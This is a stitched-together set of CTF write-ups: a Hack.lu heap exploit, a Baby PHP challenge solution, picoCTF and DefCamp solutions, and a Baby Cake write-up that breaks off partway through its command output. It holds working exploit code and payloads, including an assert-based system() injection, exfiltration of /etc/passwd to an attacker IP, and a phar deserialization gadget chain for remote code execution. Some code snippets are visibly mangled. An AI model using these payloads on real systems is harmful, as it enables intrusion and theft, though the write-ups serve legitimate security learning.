libc.address = libc_leak - (libc.symbols["__malloc_hook"] + 112) ld.address = libc.address + ld_offset log.info("libc: 0x{:x}".format(libc.address))
""" overwrite GL(dl_rtld_lock_recursive) with system overwrite dl_load_lock with "/bin/sh" dl-fini will call __rtld_lock_lock_recursive (GL(dl_load_lock)); """
target = libc.address + ld_offset - 0x10000
payload = "/bin/sh\x00" payload = payload.ljust(0x600, "\x41") payload += p64(libc.symbols["system"]) write(target + 0x908, payload + "\x00" * 0x2000, 0x20001)
p.interactive()
# flag{c0ngr4tz_I_h0pe_you_did_n0t_find_this_in_h0w_2_h34p}
if __name__ == "__main__": name = "./heap_hell" binary = ELF(name, checksec=False)
libc_name = "./libc.so.6" libc = ELF(libc_name, checksec=False)
ld_name = "./ld-2.28.so" ld = ELF(ld_name, checksec=False)
context.terminal=["tmux", "sp", "-h"] context.arch = "amd64"
if len(sys.argv) > 1: ld_offset = 0x1f7000 p = remote("arcade.fluxfingers.net", 1810) else: ld_offset = 0x1f5000 p = process([ld_name, name], env={'LD_LIBRARY_PATH': "."})
gdb.attach(p, """ c """)
exploit()``` |
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Exploit/exploit.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Exploit/exploit.py) |
# ▼▼▼Baby PHP (Category: Web:153pts、147/303=48.5％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Author(s): kunte_
Difficulty: baby
PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!(https://arcade.fluxfingers.net:1819/)```
---
## 【View source code】
`https://arcade.fluxfingers.net:1819/`
↓
↓Copy and Paste text
``` $hack){ $$lel = $hack; }}
$?b = "2";$a="?b";//;1=b
if($$a !== $k1){ die("lel no\n");}
// plz die nowassert_options(ASSERT_BAIL, 1);assert("$bb == $cc");
echo "Good Job ;)";// TODO// echo $flag; ```
↓
The following reversed.
`$b=1;//"b"=a$;"2"=b` ⇒ `$?b = "2";$a="?b";//;1=b`
↓
The copied source code `$?b = "2";$a="?b";//;1=b` is correct code.
---
Below, I put the source code **in my server environment** and tried outputting the value of the parameter **using echo** etc.
↓
## 【step1:msg Bypass】
```if(!isset($_GET['msg'])){ highlight_file(__FILE__); die();}
@$msg = $_GET['msg'];if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1');}```
↓
Set the value to `msg` is only necessary for contents read in `msg` to satisfy `Hello Challenge!`
---
**RFI(Remote File Include)** is possible in `file_get_contents()` if permitted in server setting.
### 【Try1:msg=http://my_server/】 ※As a result, this method failed
I put "Hello Challenge!" in index.html on `http://my_server/`
&
msg=`http://my_server/`
↓
As a result, no access was made to the server, and the response came back 10 seconds later
Also, as soon as I tried `http://127.0.0.1` I got a response
↓
From these, it was speculated that although **there was a vulnerability of RFI**, access to the external site was prohibited.
---
### 【Try2:msg=data:text～】
Hello Challenge!
↓ base64 encode
SGVsbG8gQ2hhbGxlbmdlIQ==
↓
msg=`data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==` ★msg success★
↓
Bypass was successful!!
---
## 【step2:key1 bypass】
```@$k1=$_GET['key1'];@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n");}```
↓
`key1=1337` or `key1=01337` etc... are Bypass success!! ★key1 success 2★
---
## 【step3:key2 bypass】
```if(strlen($k2) == $bb){ if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } }}```
↓
`＄` of `/^\d+＄/` is full-width.
↓
When `＄` is described in UTF-8, it becomes `%EF%BC%84`
(reference) https://www.compart.com/en/unicode/U+FF04
---
`strlen($k2) == $bb` (Incidentally $bb = 42) is 42 letters & `$k2 == $cc` (Incidentally $cc = 1337)
↓ I checked in the local environment. as a result...
`key2=000000000000000000000000000000000001337%EF%BC%84` ★key2 success★
↓
Now I can set arbitrary cc
`@$cc = $_GET['cc'];`
---
## 【step4:cc bypass】
```if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; }}```
↓
It is impossible with current technology to enter the letters and satisfy the expression of sha1 above
↓
Bypass is possible by using array `cc[]=` ★cc success★
↓
```foreach ($_GET as $lel => $hack){ $$lel = $hack;}```
All parameters can be reconfigured with this
---
## 【step5:k1 bypass】
```$?b = "2";$a="?b";//;1=b
if($$a !== $k1){ die("lel no\n");}```↓
Write expressions in an easy-to-understand manner
```if($$a !== $k1)↓if($b !== $k1)↓if(2!== $k1)```
↓
`k1=2` ★k1 success★
---
## 【step6:echo $flag】
```assert("$bb == $cc");```
↓
assert seems to be able to execute arbitrary code in (reference) http://php.net/manual/ja/function.assert.php
↓
`bb=system('cat%20flag.php')%3b//` ★bb bypass★
---
## 【exploit】
```GET /?msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=01337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&bb=system('cat%20flag.php')%3b//&k1=2 HTTP/1.1Host: arcade.fluxfingers.net:1819```
↓
```Hello Hacker! Have a look around.Good Job ;)```
↓
`flag{7c217708c5293a3264bb136ef1fadd6e}` |
The following source code is provided for this task :
```c#include <stdio.h>#include <string.h>
#define yes_len 3const char *yes = "yes";
int main(){ char flag[99]; char permission[10]; int i; FILE * file;
file = fopen("/problems/absolutely-relative_0_d4f0f1c47f503378c4bb81981a80a9b6/flag.txt" , "r"); if (file) { while (fscanf(file, "%s", flag)!=EOF) fclose(file); } file = fopen( "./permission.txt" , "r"); if (file) { for (i = 0; i < 5; i++){ fscanf(file, "%s", permission); } permission[5] = '\0'; fclose(file); } if (!strncmp(permission, yes, yes_len)) { printf("You have the write permissions.\n%s\n", flag); } else { printf("You do not have sufficient permissions to view the flag.\n"); } return 0;}```
We can see that this is reading two important files :
1. `/problems/absolutely-relative_0_d4f0f1c47f503378c4bb81981a80a9b6/flag.txt`: the flag. We don't have permission to read it ourselves, so we have to read it through the program.2. `./permission.txt` : the file used by the program to determine whether we are allowed to see the flag file's content. The program is simply checking if the `permission.txt` file contains the string`yes`, but the `permission.txt` file in the task directory contains thestring `no` and we don't have write permission on it.
What we can exploit is the way the paths to these files are specified : the pathto the flag file is absolute, but the path to the permission file is relative,meaning the `permission.txt` file will be read from the current workingdirectory. We can then just navigate to our home directory, create a`permission.txt` file there that contains `yes` and run the program from there.
When we do that, we get the flag : `picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}`. |
Being terrible at assembly and reversing, I stumbled through this but still gotthe flag. First, I downloaded the provided binary and loaded it in[Binary Ninja](https://binary.ninja/). Looking at the graph, I could see thatthe "decrypted" flag is stored is a `flag_buf` variable at `0x6013e8` and thatthe `decrypt_flag` function returns at `0x4008c8`.
With that information, we can fire up dbg :
```bashgdb run```
Then set up a break point at `0x4008c8` and execute until we reach thebreakpoint :
```break *0x4008c8run```
Once the breakpoint is reached, we read the string stored at `0x6013e8` :
```x/s *0x6013e8```
And that gives us the flag : `picoCTF{gDb_iS_sUp3r_u53fuL_efaa2b29}` |
## Solution
When we connect to the "store", we are given a balance of 1100$ and thepossibility to buy two "item" : "I Can't Believe its not a Flag!" for 1000$ and"Real Flag" for 100000$. Looks like the goal here is to find a way to "buy" theflag.
We have access to the store source code :
```c#include <stdio.h>#include <stdlib.h>int main(){ int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the Store App V1.0\n"); printf("World's Most Secure Purchasing App\n");
printf("\n[1] Check Account Balance\n"); printf("\n[2] Buy Stuff\n"); printf("\n[3] Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Current Auctions\n"); printf("[1] I Can't Believe its not a Flag!\n"); printf("[2] Real Flag\n"); int auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } } else if(auction_choice == 2){ printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to purchase"); int bid = 0; fflush(stdin); scanf("%d", &bid;; if(bid == 1){ if(account_balance > 100000){ printf("YOUR FLAG IS:\n"); } else{ printf("\nNot enough funds for transaction\n\n\n"); }}
} } else{ con = 1; }
} return 0;}
```
We can see that the cost to buy "fake flags" is calculated by`total_cost = 1000*number_flags` and the deducted from the account balance by`account_balance = account_balance - total_cost`. So if we can somehow ordera negative quantity, we will be credited 1000*negative quantity !
Well the number of flags we want to order is a signed integer (`int number_flags= 0;`) and no validation is performed on the input. That means we can overflowthe integer.
If we pass a quantity of `2147483547`, we get just enough to buy the flag, andthat displays it : `picoCTF{numb3r3_4r3nt_s4f3_dee04605}`. |
[Original writeup](https://github.com/shiltemann/CTF-writeups-public/tree/master/DefCamp-2018#misc-message)
## Misc: Message
**Challenge**
I just typed this secret [message](https://raw.githubusercontent.com/shiltemann/CTF-writeups-public/master/DefCamp-2018/writeupfiles/message.txt) with my new encoding algorithm.
**Solution**
```wsxcvasdfghrfvbnhytqwertymnbvcdrtghuzxcvbnwsxcdeasdfghzaqwdrtgbzxcvbnqwertywsxqwertynbvcxswefrqwertyiuyhnbvqwertywsxcvfrasdfghzaqwdrtgbzxcvbnqwertywsxasdfghiuyhnbvasdfgh zxcvbnytrfvcxqwertywsxasdfghzaqwdrtgbqwertymnbvccdertgzxcvbnedcvbasdfghefvtzxcvbnasdfghwsxcfezxcvbnedcvbgtasdfghzaqwdrtgbqwertyxsweftynhzxcvbnjmyizxcvbnzxcvbnrtyuihnzxcvbnwsxcdeasdfghrgnygcqwertyrtyuihnasdfgh qwertyqazxcdewzxcvbnredcfzxcvbnzxcvbnwertyfvzxcvbnrfvgyhnasdfghwsxcdeqwerty qwertynbvcxswefrzxcvbnmnbvcdrtghuzxcvbnrfvqwertyxsweftgbqwertyrtyuihnqwertywsxasdfghxsweftgbzxcvbncvgredasdfgh[..]```
is this writing pattern on the keyboard? looking at sequences of letter that are adjacent on a keyboard wesee that `wsxcv` could represent an `L` shape? `rfvbnhyt` an `O`, etc? we do some of these replacements andsee legible text appear, looks like Lorem Ipsum text, we slowly piece together the text and all the replacements.
The following program will deciper the message:
```pythonreplacements = [('mnbvcdrtghu','R'), ('efvgywdcft','W'), ('nbvcxswefr','P'),('mnbvccdertg','P'),('nbvcxswerf','P'), ('zaqwdrtgb','M'),('xsweftynh','M'),('xsweftyhn','M'), ('xsweftgb','N'),('zaqwdvfr','N'),('xsweftbg','N'), ('rfvbnhyt','O'),('qazxcdew','O'),('wsxcvfre','O'), ('rfvgyhn','H'),('edcftgb','H'),('wsxdrfv','H'), ('iuyhnbv','S'),('ytrfvcx','S'), ('rtyuihn','T'),('wertyfv','T'), ('wsxcvfr','U'),('edcvbgt','U'), ('grdxcvb','A'),('zsefvcx','A'),('xcvbgrd','A'), ('rfvbhg','B'),('wsxcfd','B'),('qazxds','B'), ('wsxcde','E'),('edcvrf','E'),('tgbnhy','E'), ('wsxcfe','D'),('yhnmku','D'),('edcvgr','D'), ('cvgred','G'),('cvrged','G'),('redcvg','G'), ('edcfby','K'),('qazsce','K'),('wsxdvr','K'), ('rgnygc','X'),('wdvtdz','X'), ('ewsxc','C'),('redcv','C'),('trfvb','C'), ('redcf','F'),('trfvg','F'),('ewsxd','F'), ('wsxcv','L'), ('edcvb','L'), ('rfvbn','L'), ('wdcft','V'),('efvgy','V'), ('efvt', 'Y'),('jmyi','Y'), ('wsx','I'),('edc','I'),('rfv','I'), ('qwerty',''),('asdfgh',''),('zxcvbn','')]
with open('message.txt','r') as f: m = f.readline()
for i in replacements: m = m.replace(i[0],i[1])
print(m)```
which outputs the text:
```LOREM IPSUM IS SIMPLY DUMMY TEXT OF THE PRINTING AND TYPESETTING INDUSTRY.LOREM IPSUM HAS BEEN THE INDUSTRY'S STANDARD DUMMY TEXT EVER SINCE THE 1500S,WHEN AN UNKNOWN PRINTER TOOK A GALLEY OF TYPE AND SCRAMBLED IT TO MAKE A TYPESPECIMEN BOOK. IT HAS SURVIVED NOT ONLY FIVE CENTURIES, BUT ALSO THE LEAP INTOELECTRONIC TYPESETTING, REMAINING ESSENTIALLY UNCHANGED. IT WAS POPULARISED IN THE1960S WITH THE RELEASE OF LETRASET SHEETS CONTAINING LOREM IPSUM PASSAGES, AND MORERECENTLY WITH DESKTOP PUBLISHING SOFTWARE LIKE ALDUS PAGEMAKER INCLUDING VERSIONS OFLOREM IPSUM.DCTF{B66ECAAA90AD05DF5DAB33D71A8F70934408F3A5847A4C5C38Dqazxds75891B0F0E32}LOREMIPSUM IS SIMPLY DUMMY TEXT OF THE PRINTING AND TYPESETTING INDUSTRY. LOREM IPSUM HASqazxdsEEN THE INDUSTRY'S STANDARD DUMMY TEXT EVER SINCE THE 1500S, WHEN AN UNKNOWNPRINTER TOOK A GALLEY OF TYPE AND SCRAMBLED IT TO MAKE A TYPE SPECIMEN BOOK. IT HASSURVIVED NOT ONLY FIVE CENTURIES, BUT ALSO THE LEAP INTO ELECTRONIC TYPESETTING,REMAINING ESSENTIALLY UNCHANGED. IT WAS POPULARISED IN THE 1960S WITH THE RELEASE OFLETRASET SHEETS CONTAINING LOREM IPSUM PASSAGES, AND MORE RECENTLY WITH DESKTOPPUBLISHING SOFTWARE LIKE ALDUS PAGEMAKER INCLUDING VERSIONS OF LOREM IPSUM.```
and contains our flag \o/
**Flag**```DCTF{B66ECAAA90AD05DF5DAB33D71A8F70934408F3A5847A4C5C38DB75891B0F0E32}``` |
# Baby Cake---**Points:** 400 | **Solves:** 4/1789 | **Category:** Web
Get the shell plz!!!!! 13.230.134.135
Author: orange
Hint: This is not related to SSRF
---
[Bahasa Indonesia](#bahasa-indonesia)
## English
### TL;DR- We can access arbitrary URL with HTTP Client in the given Cake PHP web and the cache will be stored in `body.cache` and `headers.cache` files if the method used is GET.- Besides GET, we can use other method such as POST with data from `getQuery('data')`.- In the internal implementation of `\Cake\Http\Client\Request`, if the data is an array, it will be processed with `Cake\Http\FormData`.- In `Cake\Http\FormData` there is an implementation of CURLOPT_SAFE_UPLOAD-like, where `value` starting with `@` will be uploaded from the local system (Local File Disclosure).- We can control the parameter of `file_get_contents` in `Cake\Http\FormData` so we can use `phar://` with the payload from `body.cache` for implicit unserialization.- We can do PHP Object Injection with available gadgets to do Remote Code Execution; for example, by using `Monolog` vendor.
### Detailed StepsA difficult 'baby' problem with only 4 teams solve it. The web is made with Cake PHP and we got the [source code](baby_cake.tgz). Our goal is to get the shell.
The main logic of the web application is in `src/Controller/PagesController.php`.
```phpheaders = $headers; $this->body = $body; }}
class PagesController extends AppController {
private function httpclient($method, $url, $headers, $data) { $options = [ 'headers' => $headers, 'timeout' => 10 ];
$http = new Client(); return $http->$method($url, $data, $options); }
private function back() { return $this->render('pages'); }
private function _cache_dir($key){ $ip = $this->request->getEnv('REMOTE_ADDR'); $index = sprintf('mycache/%s/%s/', $ip, $key); return CACHE . $index; }
private function cache_set($key, $response) { $cache_dir = $this->_cache_dir($key); if ( !file_exists($cache_dir) ) { mkdir($cache_dir, 0700, true); file_put_contents($cache_dir . "body.cache", $response->body); file_put_contents($cache_dir . "headers.cache", serialize($response->headers)); } }
private function cache_get($key) { $cache_dir = $this->_cache_dir($key); if (file_exists($cache_dir)) { $body = file_get_contents($cache_dir . "/body.cache"); $headers = file_get_contents($cache_dir . "/headers.cache"); $body = "\n" . $body; $headers = unserialize($headers); return new DymmyResponse($headers, $body); } else { return null; } }
public function display(...$path) { $request = $this->request; $data = $request->getQuery('data'); $url = $request->getQuery('url'); if (strlen($url) == 0) return $this->back();
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) ); if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https'])) return $this->back();
$method = strtolower( $request->getMethod() ); if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) ) return $this->back();
$headers = []; foreach ($request->getHeaders() as $key => $value) { if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] )) continue; if (count($value) == 0) continue;
$headers[$key] = $value[0]; }
$key = md5($url); if ($method == 'get') { $response = $this->cache_get($key); if (!$response) { $response = $this->httpclient($method, $url, $headers, null); $this->cache_set($key, $response); } } else { $response = $this->httpclient($method, $url, $headers, $data); }
foreach ($response->headers as $key => $value) { if (strtolower($key) == 'content-type') { $this->response->type(array('type' => $value)); $this->response->type('type'); continue; } $this->response->withHeader($key, $value); }
$this->response->body($response->body); return $this->response; }}```
When a request is made on the web with the GET method with `?url=`, the web checks whether there is a cache already stored for the given URL. If not, the URL will be requested with internal HTTP Client and then the contents of the response body will be written to `body.cache` and the contents of the serialized headers (array) will be written in `headers.cache`. If the cache is present, the application will retrieve the cache contents directly. Cache is not used if the method used is other than GET.
Note that there is an `unserialize` call in `cache_get($key)` function but the parameter is from `header.cache` contents which is previously written using `serialize` with array as input so PHP Object Injection is not possible from here (unless there are bugs in PHP internal).
The idea is, since we can write arbitrary data to `body.cache`, if a file operation function with our controlled parameter is executed then we can use `phar://` wrapper to do PHP Object Injection with `body.cache` as the payload. It turns out that we can direct the application flow to `file_get_contents` with our own parameter in the Cake PHP internal!
To understand the exploit better, we will breakdown the steps as the flow from request to Remote Code Execution.
#### Passing Request Data
```php $request = $this->request; $data = $request->getQuery('data'); $url = $request->getQuery('url');
...
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) ); if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https'])) return $this->back();
..
$method = strtolower( $request->getMethod() ); if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) ) return $this->back();
...
if ($method == 'get') { $response = $this->cache_get($key); if (!$response) { $response = $this->httpclient($method, $url, $headers, null); $this->cache_set($key, $response); } } else { $response = $this->httpclient($method, $url, $headers, $data); }```
The URL scheme and the method from us is filtered by the web application so we can't use other than `http://` and `https://` for scheme and other than GET/POST/PUT/DELETE/PATCh for method.
We can use POST/PUT/DELETE/PATCH so that `$response = $this->httpclient($method, $url, $headers, $data);` is called. We can set the `$data` variable using GET `?data=`.
```php private function httpclient($method, $url, $headers, $data) { $options = [ 'headers' => $headers, 'timeout' => 10 ];
$http = new Client(); return $http->$method($url, $data, $options); }```
The web uses `Cake\Http\Client` and call the method based on `$method` from us with `$url` and `$data` from us.
In this example, we will try to use POST method.
#### Processing POST Request
Looks at `vendor/cakephp/cakephp/src/Http/Client.php`.
```php /** * Default configuration for the client. * * @var array */ protected $_defaultConfig = [ 'adapter' => 'Cake\Http\Client\Adapter\Stream',
...
public function __construct($config = []) { $this->setConfig($config);
$adapter = $this->_config['adapter']; $this->setConfig('adapter', null); if (is_string($adapter)) { $adapter = new $adapter(); } $this->_adapter = $adapter;
...
/** * Do a POST request. * * @param string $url The url or path you want to request. * @param mixed $data The post data you want to send. * @param array $options Additional options for the request. * @return \Cake\Http\Client\Response */ public function post($url, $data = [], array $options = []) { $options = $this->_mergeOptions($options); $url = $this->buildUrl($url, [], $options);
return $this->_doRequest(Request::METHOD_POST, $url, $data, $options); }
...
/** * Helper method for doing non-GET requests. * * @param string $method HTTP method. * @param string $url URL to request. * @param mixed $data The request body. * @param array $options The options to use. Contains auth, proxy, etc. * @return \Cake\Http\Client\Response */ protected function _doRequest($method, $url, $data, $options) { $request = $this->_createRequest( $method, $url, $data, $options );
return $this->send($request, $options); }
...
/** * Creates a new request object based on the parameters. * * @param string $method HTTP method name. * @param string $url The url including query string. * @param mixed $data The request body. * @param array $options The options to use. Contains auth, proxy, etc. * @return \Cake\Http\Client\Request */ protected function _createRequest($method, $url, $data, $options) { $headers = isset($options['headers']) ? (array)$options['headers'] : []; if (isset($options['type'])) { $headers = array_merge($headers, $this->_typeHeaders($options['type'])); } if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) { $headers['Content-Type'] = 'application/x-www-form-urlencoded'; }
$request = new Request($url, $method, $headers, $data);
...
}
```
The data from us will be processed by `post($url, $data = [], array $options = [])` which is then passed to `_doRequest($method, $url, $data, $options)` which will create a `$request` object using `_createRequest($method, $ url, $data, $options)`. In this function, the object is created as `Cake\Http\Client\Request` (`new Request($url, $method, $headers, $data);`).
Next we have to look at the `vendor/cakephp/cakephp/src/Http/Client/Request.php` code.
```php /** * Constructor * * Provides backwards compatible defaults for some properties. * * @param string $url The request URL * @param string $method The HTTP method to use. * @param array $headers The HTTP headers to set. * @param array|string|null $data The request body to use. */ public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null) { $this->validateMethod($method); $this->method = $method; $this->uri = $this->createUri($url); $headers += [ 'Connection' => 'close', 'User-Agent' => 'CakePHP' ]; $this->addHeaders($headers); $this->body($data); }
...
/** * Get/set the body/payload for the message. * * Array data will be serialized with Cake\Http\FormData, * and the content-type will be set. * * @param string|array|null $body The body for the request. Leave null for get * @return mixed Either $this or the body value. */ public function body($body = null) { if ($body === null) { $body = $this->getBody();
return $body ? $body->__toString() : ''; } if (is_array($body)) { $formData = new FormData(); $formData->addMany($body); $this->header('Content-Type', $formData->contentType()); $body = (string)$formData; } $stream = new Stream('php://memory', 'rw'); $stream->write($body); $this->stream = $stream;
return $this; }```
In the `body($body)` function, if `$body` is an array, then the data will be processed using `Cake\Http\FormData` with the call to `addMany(array $array)` function. Let's see what happens in this function in `vendor/cakephp/cakephp/src/Http/Client/FormData.php`.
```php /** * Add a new part to the data. * * The value for a part can be a string, array, int, * float, filehandle, or object implementing __toString() * * If the $value is an array, multiple parts will be added. * Files will be read from their current position and saved in memory. * * @param string|\Cake\Http\Client\FormData $name The name of the part to add, * or the part data object. * @param mixed $value The value for the part. * @return $this */ public function add($name, $value = null) { if (is_array($value)) { $this->addRecursive($name, $value); } elseif (is_resource($value)) { $this->addFile($name, $value); } elseif (is_string($value) && strlen($value) && $value[0] === '@') { trigger_error( 'Using the @ syntax for file uploads is not safe and is deprecated. ' . 'Instead you should use file handles.', E_USER_DEPRECATED ); $this->addFile($name, $value); } elseif ($name instanceof FormDataPart && $value === null) { $this->_hasComplexPart = true; $this->_parts[] = $name; } else { $this->_parts[] = $this->newPart($name, $value); }
return $this; }
/** * Add multiple parts at once. * * Iterates the parameter and adds all the key/values. * * @param array $data Array of data to add. * @return $this */ public function addMany(array $data) { foreach ($data as $name => $value) { $this->add($name, $value); }
return $this; }
/** * Add either a file reference (string starting with @) * or a file handle. * * @param string $name The name to use. * @param mixed $value Either a string filename, or a filehandle. * @return \Cake\Http\Client\FormDataPart */ public function addFile($name, $value) { $this->_hasFile = true;
$filename = false; $contentType = 'application/octet-stream'; if (is_resource($value)) { $content = stream_get_contents($value); if (stream_is_local($value)) { $finfo = new finfo(FILEINFO_MIME); $metadata = stream_get_meta_data($value); $contentType = $finfo->file($metadata['uri']); $filename = basename($metadata['uri']); } } else { $finfo = new finfo(FILEINFO_MIME); $value = substr($value, 1); $filename = basename($value); $content = file_get_contents($value); $contentType = $finfo->file($value); } $part = $this->newPart($name, $content); $part->type($contentType); if ($filename) { $part->filename($filename); } $this->add($part);
return $part; } ```
Execution in the `addMany(array $data)` function will iterate the array and then call `add($name, $value)` for each item. In the `add($name, $value)` function, if `$value` is a string that starts with `@`, then `addFile($name, $value)` will be called.
In `addFile($name, $value)`, because `$value` is a string, `$value = substr($value, 1);` and `$content = file_get_contents($value);` will be executed. With this, since `$value` is tainted from `getQuery('data')`, we can control the parameter of `file_get_contents`!
#### Local File Disclosure
To test it, we can try to do Local File Disclosure. The 'Request' data created will be sent directly to the URL using `fopen` in `Cake\Http\Client\Adapter\Stream` so we can try to send a file to our IP.
The following is a request to send `/etc/passwd` to our IP.
```POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/passwd```
At our IP, we will get `/etc/passwd` from the server!
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologinsyslog:x:102:106::/home/syslog:/usr/sbin/nologinmessagebus:x:103:107::/nonexistent:/usr/sbin/nologin_apt:x:104:65534::/nonexistent:/usr/sbin/nologinlxd:x:105:65534::/var/lib/lxd/:/bin/falseuuidd:x:106:110::/run/uuidd:/usr/sbin/nologindnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinlandscape:x:108:112::/var/lib/landscape:/usr/sbin/nologinsshd:x:109:65534::/run/sshd:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falseubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashorange:x:1001:1001:,,,:/home/orange:/bin/bash```
We can also see that the Apache configuration use `000-default.conf` and the web directory is in `/var/www/html`.
```POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf```
```<VirtualHost *:80> ...
ServerAdmin webmaster@localhost DocumentRoot /var/www/html
...</VirtualHost>```
The attempt to get the flag from Local File Disclosure was unsuccessful. Therefore, we must do Remote Code Execution.
#### Remote Code Execution
By using the features in the web application, we can save the body content of our URL request response to `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`.
The strategies that can be done are:
1. Create a payload to do PHP Object Injection from the available Classes.2. Place the PHP Object Injection payload in a phar file, for example `exploit.phar` in our IP.3. Download `http://IP/exploit.phar` from the web application so the cache will be stored in `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`4. Do POST request with data query to open `phar://` stream wrapper so unserialization will occurs.
For gadgets, here we will try to use `Monolog` with references from https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1.
The following is the code to make the payload `exploit.phar` which will execute `system ('ls -alt')`.
```phpsocket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } }}
namespace{ $cmd = "ls -alt";
$obj = new \Monolog\Handler\SyslogUdpHandler( new \Monolog\Handler\BufferHandler( ['current', 'system'], [$cmd, 'level' => null] ) );
$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test', 'test'); $phar->setStub(''); $phar->setMetadata($obj); $phar->stopBuffering();
}```
First, try to access `exploit.phar` URL from the web application.
```GET http://13.230.134.135/?url=http://IP/exploit.phar```
Then, do POST request to open `phar://` stream with `exploit.phar` cache location as path.
```POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache```
And then RCE is successfully done!
```total 104drwxr-xr-x 26 root root 1000 Oct 21 11:08 rundrwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flagdrwxr-xr-x 23 root root 4096 Oct 18 19:53 .drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..drwx------ 5 root root 4096 Oct 18 17:12 rootdrwxr-xr-x 90 root root 4096 Oct 18 11:23 etcdr-xr-xr-x 13 root root 0 Oct 16 07:57 sys-r-------- 1 root root 54 Oct 15 19:49 flagdrwxr-xr-x 4 root root 4096 Oct 15 19:41 homedrwxr-xr-x 3 root root 4096 Oct 9 06:07 bootlrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-awslrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-awsdrwxr-xr-x 2 root root 4096 Oct 9 06:07 sbinlrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/drwxr-xr-x 14 root root 4096 Oct 8 17:13 vardrwxr-xr-x 5 root root 4096 Oct 8 17:06 snapdrwxr-xr-x 15 root root 2980 Oct 8 17:06 devdr-xr-xr-x 136 root root 0 Oct 8 17:06 proclrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-awslrwxrwxrwx 